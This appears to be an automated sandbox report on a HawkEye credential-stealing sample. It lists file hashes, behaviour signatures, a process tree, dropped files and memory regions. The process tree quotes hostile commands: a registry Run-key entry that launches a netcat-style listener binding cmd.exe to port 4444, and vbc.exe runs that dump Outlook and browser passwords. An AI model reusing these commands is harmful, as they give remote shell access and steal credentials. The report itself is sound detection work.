Analysis

  • max time kernel
    136s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20220901-en
  • resource tags

    arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
  • submitted
    23-11-2022 15:41

General

  • Target

    e08e9c7d4571cc271e0b364498260ff4655e381a34aa5bb76f73914e13fe9470.exe

  • Size

    706KB

  • MD5

    e94cbe2bdc40efd475a5d46dc96a3620

  • SHA1

    b7afdd1a29609fc0bc362650acbfd2ed703cc642

  • SHA256

    e08e9c7d4571cc271e0b364498260ff4655e381a34aa5bb76f73914e13fe9470

  • SHA512

    62eba886982781d2fa604de808b12ceadb79850ed323bddac88900b8d8d9c9da5ed658bc197accbb25e9631d5eb192a5e43e143dbca4e4f26acfa2e62f3b6059

  • SSDEEP

    12288:rLoWMMMMMMMMMMMMMMMMMMEMMMMMMMMMMMMMMMMMMAHMMMMMMMMMMMMMMMMMMeye:RMMMMMMMMMMMMMMMMMMEMMMMMMMMMMMR

Malware Config

Signatures

  • HawkEye

    HawkEye is a malware kit that has seen continuous development since at least 2013.

  • NirSoft MailPassView 14 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 13 IoCs

    Password recovery tool for various web browsers

  • Nirsoft 18 IoCs
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 6 IoCs
  • Uses the VBS compiler for execution 1 TTPs
  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 5 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 5 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Modifies registry key 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\e08e9c7d4571cc271e0b364498260ff4655e381a34aa5bb76f73914e13fe9470.exe
    "C:\Users\Admin\AppData\Local\Temp\e08e9c7d4571cc271e0b364498260ff4655e381a34aa5bb76f73914e13fe9470.exe"
    1⤵
    • Loads dropped DLL
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:1368
    • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\me.exe
      C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\me.exe
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:1696
      • C:\Users\Admin\AppData\Roaming\Windows Update.exe
        "C:\Users\Admin\AppData\Roaming\Windows Update.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Adds Run key to start application
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:392
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
          C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe /stext "C:\Users\Admin\AppData\Local\Temp\holdermail.txt"
          4⤵
          • Accesses Microsoft Outlook accounts
          PID:1824
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
          C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe /stext "C:\Users\Admin\AppData\Local\Temp\holderwb.txt"
          4⤵
            PID:440
      • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\me2.exe
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\me2.exe
        2⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Drops file in System32 directory
        • Suspicious use of WriteProcessMemory
        PID:1120
        • C:\WINDOWS\SysWOW64\cmd.exe
          cmd /c ""C:\WINDOWS\system32\run.bat" "
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:304
          • C:\WINDOWS\SysWOW64\reg.exe
            reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /f /v nc /d "C:\Windows\system32\me.exe -L -d -p 4444 -t -e cmd.exe"
            4⤵
            • Adds Run key to start application
            • Modifies registry key
            PID:544
          • C:\WINDOWS\SysWOW64\ipconfig.exe
            ipconfig
            4⤵
            • Gathers network information
            PID:1560

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\me.exe

      Filesize

      521KB

      MD5

      16045bfd13c7c17e5fc6e92c2686adb1

      SHA1

      447bb812f69fe09334d6a77ed72689c263326488

      SHA256

      e003ee4c15c5cfac60aee2499613fe04ab4ba8e67592d817115fee85d17f2523

      SHA512

      5ba5990926373da33f92ed53c0321e90567e8a611c1011fb5ba5c55852229ee028f273172eeebb276195702327c13f071c335ef613bf55aeefe3e6cef1f969f9

    • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\me.exe

      Filesize

      521KB

      MD5

      16045bfd13c7c17e5fc6e92c2686adb1

      SHA1

      447bb812f69fe09334d6a77ed72689c263326488

      SHA256

      e003ee4c15c5cfac60aee2499613fe04ab4ba8e67592d817115fee85d17f2523

      SHA512

      5ba5990926373da33f92ed53c0321e90567e8a611c1011fb5ba5c55852229ee028f273172eeebb276195702327c13f071c335ef613bf55aeefe3e6cef1f969f9

    • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\me2.exe

      Filesize

      351KB

      MD5

      2250ef4bfb1d96ed3e17223e605e6d39

      SHA1

      e342cacb81c1b453d8765a5e08a01671fd31756f

      SHA256

      804db0aa7edbf0c884b2b59453b521714c2540922d6e01709158b9f1ceee494e

      SHA512

      fa60a06bcb031f17629d06df19f9ef77da1042c8ac926e7ae5b216d21e55234812c4b4110a9ea9acacab86157349023fdeddc8372a1b14a5c4865a5f81583662

    • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\me2.exe

      Filesize

      351KB

      MD5

      2250ef4bfb1d96ed3e17223e605e6d39

      SHA1

      e342cacb81c1b453d8765a5e08a01671fd31756f

      SHA256

      804db0aa7edbf0c884b2b59453b521714c2540922d6e01709158b9f1ceee494e

      SHA512

      fa60a06bcb031f17629d06df19f9ef77da1042c8ac926e7ae5b216d21e55234812c4b4110a9ea9acacab86157349023fdeddc8372a1b14a5c4865a5f81583662

    • C:\Users\Admin\AppData\Local\Temp\SysInfo.txt

      Filesize

      51B

      MD5

      2d17e6031cc679f870c396621e9172da

      SHA1

      6a194f0fba26bd6de0d736b3aa46ff64c8030153

      SHA256

      14848e58b77b4147ec5f9ead8e4647de177dc4a106681566db4808a1bc638d8a

      SHA512

      053b0c0a51f3eb6f2079aed33da6d9d68d9c266881a3fd8d45143ac66bd491d31fafbcb0309717029cc67644a30badbaec0c0a6de851eb9c25105f0225c2e16f

    • C:\Users\Admin\AppData\Local\Temp\holderwb.txt

      Filesize

      2B

      MD5

      f3b25701fe362ec84616a93a45ce9998

      SHA1

      d62636d8caec13f04e28442a0a6fa1afeb024bbb

      SHA256

      b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

      SHA512

      98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

    • C:\Users\Admin\AppData\Roaming\Windows Update.exe

      Filesize

      521KB

      MD5

      16045bfd13c7c17e5fc6e92c2686adb1

      SHA1

      447bb812f69fe09334d6a77ed72689c263326488

      SHA256

      e003ee4c15c5cfac60aee2499613fe04ab4ba8e67592d817115fee85d17f2523

      SHA512

      5ba5990926373da33f92ed53c0321e90567e8a611c1011fb5ba5c55852229ee028f273172eeebb276195702327c13f071c335ef613bf55aeefe3e6cef1f969f9

    • C:\Users\Admin\AppData\Roaming\Windows Update.exe

      Filesize

      521KB

      MD5

      16045bfd13c7c17e5fc6e92c2686adb1

      SHA1

      447bb812f69fe09334d6a77ed72689c263326488

      SHA256

      e003ee4c15c5cfac60aee2499613fe04ab4ba8e67592d817115fee85d17f2523

      SHA512

      5ba5990926373da33f92ed53c0321e90567e8a611c1011fb5ba5c55852229ee028f273172eeebb276195702327c13f071c335ef613bf55aeefe3e6cef1f969f9

    • C:\WINDOWS\SysWOW64\me.exe

      Filesize

      521KB

      MD5

      16045bfd13c7c17e5fc6e92c2686adb1

      SHA1

      447bb812f69fe09334d6a77ed72689c263326488

      SHA256

      e003ee4c15c5cfac60aee2499613fe04ab4ba8e67592d817115fee85d17f2523

      SHA512

      5ba5990926373da33f92ed53c0321e90567e8a611c1011fb5ba5c55852229ee028f273172eeebb276195702327c13f071c335ef613bf55aeefe3e6cef1f969f9

    • C:\WINDOWS\SysWOW64\run.bat

      Filesize

      473B

      MD5

      a8f58fb20c4f24b6300941d726a0324f

      SHA1

      c832a7c76dbf0b2ff31730d6bd5a4bdeac4094be

      SHA256

      03a010d924d0d0b69f0cb8c54cabe4041838189271155724e3d213d9dd8e3171

      SHA512

      6814e90c139573f94077d7edba0926e0c446c1592087b9c46610873f8a49d85153d28fdf08e053b123ea4a5487aecb51411a8c49cc4551661cb231e7cf515f15

    • \Users\Admin\AppData\Local\Temp\IXP000.TMP\me.exe

      Filesize

      521KB

      MD5

      16045bfd13c7c17e5fc6e92c2686adb1

      SHA1

      447bb812f69fe09334d6a77ed72689c263326488

      SHA256

      e003ee4c15c5cfac60aee2499613fe04ab4ba8e67592d817115fee85d17f2523

      SHA512

      5ba5990926373da33f92ed53c0321e90567e8a611c1011fb5ba5c55852229ee028f273172eeebb276195702327c13f071c335ef613bf55aeefe3e6cef1f969f9

    • \Users\Admin\AppData\Local\Temp\IXP000.TMP\me.exe

      Filesize

      521KB

      MD5

      16045bfd13c7c17e5fc6e92c2686adb1

      SHA1

      447bb812f69fe09334d6a77ed72689c263326488

      SHA256

      e003ee4c15c5cfac60aee2499613fe04ab4ba8e67592d817115fee85d17f2523

      SHA512

      5ba5990926373da33f92ed53c0321e90567e8a611c1011fb5ba5c55852229ee028f273172eeebb276195702327c13f071c335ef613bf55aeefe3e6cef1f969f9

    • \Users\Admin\AppData\Local\Temp\IXP000.TMP\me2.exe

      Filesize

      351KB

      MD5

      2250ef4bfb1d96ed3e17223e605e6d39

      SHA1

      e342cacb81c1b453d8765a5e08a01671fd31756f

      SHA256

      804db0aa7edbf0c884b2b59453b521714c2540922d6e01709158b9f1ceee494e

      SHA512

      fa60a06bcb031f17629d06df19f9ef77da1042c8ac926e7ae5b216d21e55234812c4b4110a9ea9acacab86157349023fdeddc8372a1b14a5c4865a5f81583662

    • \Users\Admin\AppData\Local\Temp\IXP000.TMP\me2.exe

      Filesize

      351KB

      MD5

      2250ef4bfb1d96ed3e17223e605e6d39

      SHA1

      e342cacb81c1b453d8765a5e08a01671fd31756f

      SHA256

      804db0aa7edbf0c884b2b59453b521714c2540922d6e01709158b9f1ceee494e

      SHA512

      fa60a06bcb031f17629d06df19f9ef77da1042c8ac926e7ae5b216d21e55234812c4b4110a9ea9acacab86157349023fdeddc8372a1b14a5c4865a5f81583662

    • \Users\Admin\AppData\Roaming\Windows Update.exe

      Filesize

      521KB

      MD5

      16045bfd13c7c17e5fc6e92c2686adb1

      SHA1

      447bb812f69fe09334d6a77ed72689c263326488

      SHA256

      e003ee4c15c5cfac60aee2499613fe04ab4ba8e67592d817115fee85d17f2523

      SHA512

      5ba5990926373da33f92ed53c0321e90567e8a611c1011fb5ba5c55852229ee028f273172eeebb276195702327c13f071c335ef613bf55aeefe3e6cef1f969f9

    • \Users\Admin\AppData\Roaming\Windows Update.exe

      Filesize

      521KB

      MD5

      16045bfd13c7c17e5fc6e92c2686adb1

      SHA1

      447bb812f69fe09334d6a77ed72689c263326488

      SHA256

      e003ee4c15c5cfac60aee2499613fe04ab4ba8e67592d817115fee85d17f2523

      SHA512

      5ba5990926373da33f92ed53c0321e90567e8a611c1011fb5ba5c55852229ee028f273172eeebb276195702327c13f071c335ef613bf55aeefe3e6cef1f969f9

    • memory/304-75-0x0000000000000000-mapping.dmp

    • memory/392-63-0x0000000000000000-mapping.dmp

    • memory/392-81-0x0000000073AD0000-0x000000007407B000-memory.dmp

      Filesize

      5.7MB

    • memory/392-92-0x0000000073AD0000-0x000000007407B000-memory.dmp

      Filesize

      5.7MB

    • memory/440-98-0x0000000000400000-0x0000000000458000-memory.dmp

      Filesize

      352KB

    • memory/440-95-0x0000000000442628-mapping.dmp

    • memory/440-94-0x0000000000400000-0x0000000000458000-memory.dmp

      Filesize

      352KB

    • memory/440-101-0x0000000000400000-0x0000000000458000-memory.dmp

      Filesize

      352KB

    • memory/544-79-0x0000000000000000-mapping.dmp

    • memory/1120-70-0x0000000000000000-mapping.dmp

    • memory/1368-54-0x0000000074E41000-0x0000000074E43000-memory.dmp

      Filesize

      8KB

    • memory/1560-82-0x0000000000000000-mapping.dmp

    • memory/1696-61-0x0000000073AD0000-0x000000007407B000-memory.dmp

      Filesize

      5.7MB

    • memory/1696-56-0x0000000000000000-mapping.dmp

    • memory/1696-68-0x0000000073AD0000-0x000000007407B000-memory.dmp

      Filesize

      5.7MB

    • memory/1824-86-0x0000000000411654-mapping.dmp

    • memory/1824-93-0x0000000000400000-0x000000000041B000-memory.dmp

      Filesize

      108KB

    • memory/1824-91-0x0000000000400000-0x000000000041B000-memory.dmp

      Filesize

      108KB

    • memory/1824-89-0x0000000000400000-0x000000000041B000-memory.dmp

      Filesize

      108KB

    • memory/1824-85-0x0000000000400000-0x000000000041B000-memory.dmp

      Filesize

      108KB